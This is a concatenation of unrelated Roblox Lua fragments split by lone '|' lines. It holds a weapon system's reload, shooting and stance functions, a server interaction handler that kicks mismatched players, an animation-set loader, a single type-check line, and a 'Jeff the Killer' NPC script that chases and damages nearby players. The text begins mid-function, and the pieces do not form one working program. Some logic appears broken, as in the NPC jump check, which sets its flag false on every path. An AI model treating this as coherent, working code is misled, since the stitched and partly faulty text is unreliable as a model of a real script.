Evt.Grenade:FireServer(WeaponTool,WeaponData,cam.CFrame,cam.CFrame.LookVector,Power,SKP_02)
unset()
end
function GrenadeMode()
if Power >= 150 then
Power = 100
SE_GUI.GrenadeForce.Text = "Mid Throw"
elseif Power >= 100 then
Power = 50
SE_GUI.GrenadeForce.Text = "Low Throw"
elseif Power >= 50 then
Power = 150
SE_GUI.GrenadeForce.Text = "High Throw"
end
end
function JamChance()
if not WeaponData or not WeaponData.CanBreak or WeaponData.Jammed or Ammo - 1 <= 0 then return; end;
local Jam = math.random(1000)
if Jam > 2 then return; end;
WeaponData.Jammed = true
WeaponInHand.Handle.Click:Play()
end
function Jammed()
if not WeaponData or WeaponData.Type ~= "Gun" or not WeaponData.Jammed then return; end;
mouse1down = false
reloading = true
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
JammedAnim()
WeaponData.Jammed = false
UpdateGui()
reloading = false
RunCheck()
end
function Reload()
if WeaponData.Type == "Gun" and StoredAmmo > 0 and (Ammo < WeaponData.Ammo or WeaponData.IncludeChamberedBullet and Ammo < WeaponData.Ammo + 1) then
mouse1down = false
reloading = true
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
if WeaponData.ShellInsert then
if Ammo > 0 then
for i = 1,WeaponData.Ammo - Ammo do
if StoredAmmo > 0 and Ammo < WeaponData.Ammo then
if CancelReload then
break
end
ReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
end
end
else
TacticalReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
for i = 1,WeaponData.Ammo - Ammo do
if StoredAmmo > 0 and WeaponData and Ammo < WeaponData.Ammo then
if CancelReload then
break
end
ReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
end
end
end
else
if Ammo > 0 then
ReloadAnim()
else
TacticalReloadAnim()
end
if WeaponData then
if (Ammo - (WeaponData.Ammo - StoredAmmo)) < 0 then
Ammo = Ammo + StoredAmmo
StoredAmmo = 0
elseif Ammo <= 0 then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo)
Ammo = WeaponData.Ammo
elseif Ammo > 0 and WeaponData.IncludeChamberedBullet then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) - 1
Ammo = WeaponData.Ammo + 1
elseif Ammo > 0 and not WeaponData.IncludeChamberedBullet then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo)
Ammo = WeaponData.Ammo
end
end
end
if WeaponData.Type == "Gun" and WeaponData.IsLauncher then
Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed)
end
CancelReload = false
reloading = false
RunCheck()
UpdateGui()
end
end
function GunFx()
-- Clone and play muzzle sound
local Muzzle = WeaponInHand.Handle.Muzzle
if WeaponData.ShootType > 3 then
canPump = true
end
if Suppressor then
local newSound = Muzzle.Supressor:Clone()
newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000
newSound.Parent = Muzzle
newSound.Name = "Firing"
newSound:Play()
newSound.PlayOnRemove = true
newSound:Destroy()
else
local newSound = Muzzle.Fire:Clone()
newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000
newSound.Parent = Muzzle
newSound.Name = "Firing"
newSound:Play()
newSound.PlayOnRemove = true
newSound:Destroy()
end
if Muzzle:FindFirstChild("Echo") then
local newSound = Muzzle.Echo:Clone()
newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000
newSound.Parent = Muzzle
newSound.Name = "FireEcho"
newSound:Play()
newSound.PlayOnRemove = true
newSound:Destroy()
end
if WeaponData.FlashChance and math.random(1,10) <= WeaponData.FlashChance and not FlashHider then
if Muzzle:FindFirstChild("FlashFX") then
Muzzle["FlashFX"].Enabled = true
delay(0.1,function()
if Muzzle:FindFirstChild("FlashFX") then
Muzzle["FlashFX"].Enabled = false
end
end)
end
WeaponInHand.Handle.Muzzle["FlashFX[Flash]"]:Emit(10)
end
WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10)
if BSpread then
BSpread = math.min(WeaponData.MaxSpread * ModTable.MaxSpread, BSpread + WeaponData.AimInaccuracyStepAmount * ModTable.AimInaccuracyStepAmount)
RecoilPower = math.min(WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower, RecoilPower + WeaponData.RecoilPowerStepAmount * ModTable.RecoilPowerStepAmount)
end
generateBullet = generateBullet + 1
LastSpreadUpdate = time()
if Ammo > 0 or not WeaponData.SlideLock then
TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,true,0), {C0 = WeaponData.SlideEx:inverse() }):Play()
elseif Ammo <= 0 and WeaponData.SlideLock then
TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0), {C0 = WeaponData.SlideEx:inverse() }):Play()
end
if WeaponData.ShootType < 4 then
WeaponInHand.Handle.Chamber.Smoke:Emit(10)
end
for _, effect in pairs(WeaponInHand.Handle.Chamber:GetChildren()) do
if effect.Name == "Shell" then
effect:Emit(1)
end
end
end
function ShellCheck()
if WeaponData.ShellEjectionMod and WeaponData.ShootType < 4 then
if Engine.AmmoModels:FindFirstChild(WeaponData.BulletType) then
CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber)
else
CreateShell("Default",WeaponInHand.Handle.Chamber)
end
end
end
function Shoot()
if WeaponData and WeaponData.Type == "Gun" and not shooting and not reloading then
if reloading or runKeyDown or SafeMode or CheckingMag then
mouse1down = false
return
end
if Ammo <= 0 or WeaponData.Jammed then
WeaponInHand.Handle.Click:Play()
mouse1down = false
return
end
mouse1down = true
delay(0, function()
if WeaponData and WeaponData.ShootType == 1 then
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
ShellCheck()
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
elseif WeaponData and WeaponData.ShootType == 2 then
for i = 1, WeaponData.BurstShot do
if shooting or Ammo <= 0 or mouse1down == false or WeaponData.Jammed then
break
end
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
ShellCheck()
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
end
elseif WeaponData and WeaponData.ShootType == 3 then
while mouse1down do
if shooting or Ammo <= 0 or WeaponData.Jammed then
break
end
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
ShellCheck()
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
end
elseif WeaponData and WeaponData.ShootType == 4 or WeaponData and WeaponData.ShootType == 5 then
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
UpdateGui()
Thread:Spawn(Recoil)
PumpAnim()
RunCheck()
shooting = false
end
if WeaponData and WeaponData.Type == "Gun" and WeaponData.IsLauncher then
Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed)
end
end)
elseif WeaponData and WeaponData.Type == "Melee" and not runKeyDown then
if not shooting then
shooting = true
meleeCast()
meleeAttack()
RunCheck()
shooting = false
end
end
end
local L_150_ = {}
local LeanSpring = {}
LeanSpring.cornerPeek = SpringMod.new(0)
LeanSpring.cornerPeek.d = 1
LeanSpring.cornerPeek.s = 20
LeanSpring.peekFactor = math.rad(-15)
LeanSpring.dirPeek = 0
function L_150_.Update()
LeanSpring.cornerPeek.t = LeanSpring.peekFactor * Virar
local NewLeanCF = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), LeanSpring.cornerPeek.p)
cam.CFrame = cam.CFrame * NewLeanCF
end
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
function RunCheck()
if runKeyDown then
mouse1down = false
GunStance = 3
Evt.GunStance:FireServer(GunStance,AnimData)
SprintAnim()
else
if aimming then
GunStance = 2
Evt.GunStance:FireServer(GunStance,AnimData)
else
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
end
IdleAnim()
end
end
function Stand()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = true
SE_GUI.MainFrame.Poses.Agaixado.Visible = false
SE_GUI.MainFrame.Poses.Deitado.Visible = false
--if Steady then
-- SetWalkSpeed(gameRules.SlowPaceWalkSpeed)
--else
-- if script.Parent:GetAttribute("Injured") then
-- SetWalkSpeed(gameRules.InjuredWalksSpeed)
-- else
-- SetWalkSpeed(gameRules.NormalWalkSpeed)
-- end
--end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true)
IsStanced = false
end
function Crouch()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = false
SE_GUI.MainFrame.Poses.Agaixado.Visible = true
SE_GUI.MainFrame.Poses.Deitado.Visible = false
--if script.Parent:GetAttribute("Injured") then
-- SetWalkSpeed(gameRules.InjuredCrouchWalkSpeed)
--else
-- SetWalkSpeed(gameRules.CrouchWalkSpeed)
--end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
IsStanced = true
end
function Prone()
Stance:FireServer(Stances,Virar)
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
SE_GUI.MainFrame.Poses.Levantado.Visible = false
SE_GUI.MainFrame.Poses.Agaixado.Visible = false
SE_GUI.MainFrame.Poses.Deitado.Visible = true
--if ACS_Client:GetAttribute("Surrender") then
-- char.Humanoid.WalkSpeed = 0
--else
-- SetWalkSpeed(gameRules.ProneWalksSpeed)
--end
char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
IsStanced = true
end
function Lean()
TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play()
Stance:FireServer(Stances,Virar)
if Virar == 0 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = false
SE_GUI.MainFrame.Poses.Esg_Right.Visible = false
elseif Virar == 1 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = false
SE_GUI.MainFrame.Poses.Esg_Right.Visible = true
elseif Virar == -1 then
SE_GUI.MainFrame.Poses.Esg_Left.Visible = true
SE_GUI.MainFrame.Poses.Esg_Right.Visible = false
end
end
|
--[[---------------- FUNCTIONS -----------------]]
|
--
local function isAValidNearbyInteractable(targetObj)
if not targetObj then return end
if not targetObj:IsA("BasePart") then return end
local interactable = targetObj:GetAttribute("Interactable")
if not interactable then return end
local module = interactables:FindFirstChild(targetObj.Name)
if not module then return end
local dist = (targetObj.Position - hrp.Position).magnitude
if dist > MAX_INTERACTION_DIST + math.max(targetObj.Size.X, targetObj.Size.Y, targetObj.Size.Z) / 2 then return end
return module
end
local function samePlayer(rPly)
if rPly ~= ply then rPly:Kick(_G.EXPLOITER_KICK_MESSAGE) return false end
return true
end
local function interact()
if downedVal.Value then return end
if holdingInputVal.Value and mouseHoverObjectVal.Value then
local interactableModule = isAValidNearbyInteractable(mouseHoverObjectVal.Value)
local success = false
local serverChecksFunc = nil
if interactableModule then
local mod = require(interactableModule)
if mod and mod.serverChecks and typeof(mod.serverChecks) == "function" then
success = mod.serverChecks(mouseHoverObjectVal.Value)
serverChecksFunc = mod.serverChecks
else
success = true
end
end
if success then
local interactionSuccessful = CIH.determineInteraction(ply, mouseHoverObjectVal.Value)
local shouldKeepHolding = true
local interacted = nil
while interactionSuccessful and shouldKeepHolding do
interacted, shouldKeepHolding = CIH.interact(ply, mouseHoverObjectVal.Value)
if shouldKeepHolding then
interactionSuccessful = CIH.determineInteraction(ply, mouseHoverObjectVal.Value)
end
end
if serverChecksFunc and not serverChecksFunc(mouseHoverObjectVal.Value) then
deleteInteractionUIEvent:FireClient(ply, mouseHoverObjectVal.Value)
end
end
end
end
local function onUpdateInputHoldEvent(rPly, inputState)
if not samePlayer(rPly) then return end
if downedVal.Value then return end
if inputState ~= nil and typeof(inputState) == "boolean" then
holdingInputVal.Value = inputState
else
holdingInputVal.Value = false
end
interact()
end
local globalObjChangedConn = nil
local function onUpdateHoverObjectEvent(rPly, newObj)
if not samePlayer(rPly) then return end
if downedVal.Value then return end
if globalObjChangedConn then globalObjChangedConn:Disconnect() end
mouseHoverObjectVal.Value = nil
local interactableModule = isAValidNearbyInteractable(newObj)
if interactableModule then
mouseHoverObjectVal.Value = newObj
if globalObjChangedConn then globalObjChangedConn:Disconnect() end
globalObjChangedConn = newObj.Changed:Connect(function()
if globalObjChangedConn then globalObjChangedConn:Disconnect() end
mouseHoverObjectVal.Value = nil
onUpdateHoverObjectEvent(rPly, newObj)
end)
end
interact()
end
local function onDown(val)
if val then
onUpdateHoverObjectEvent(ply, nil)
mouseHoverObjectVal.Value = nil
holdingInputVal.Value = false
end
end
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function findExistingAnimationInSet(set, anim)
if set == nil or anim == nil then
return 0
end
for idx = 1, set.count, 1 do
if set[idx].anim.AnimationId == anim.AnimationId then
return idx
end
end
return 0
end
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 0
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
local newWeight = 1
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject ~= nil) then
newWeight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
idx = animTable[name].count
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
animTable[name][idx].weight = newWeight
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
end
end
-- preload anims
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
Humanoid:LoadAnimation(animType[idx].anim)
PreloadedAnims[animType[idx].anim.AnimationId] = true
end
end
end
end
|
--[[**
ensures Roblox ColorSequence type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.ColorSequence = primitive("ColorSequence")
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=99999;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(2000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=false;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<16 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>16 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=16;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
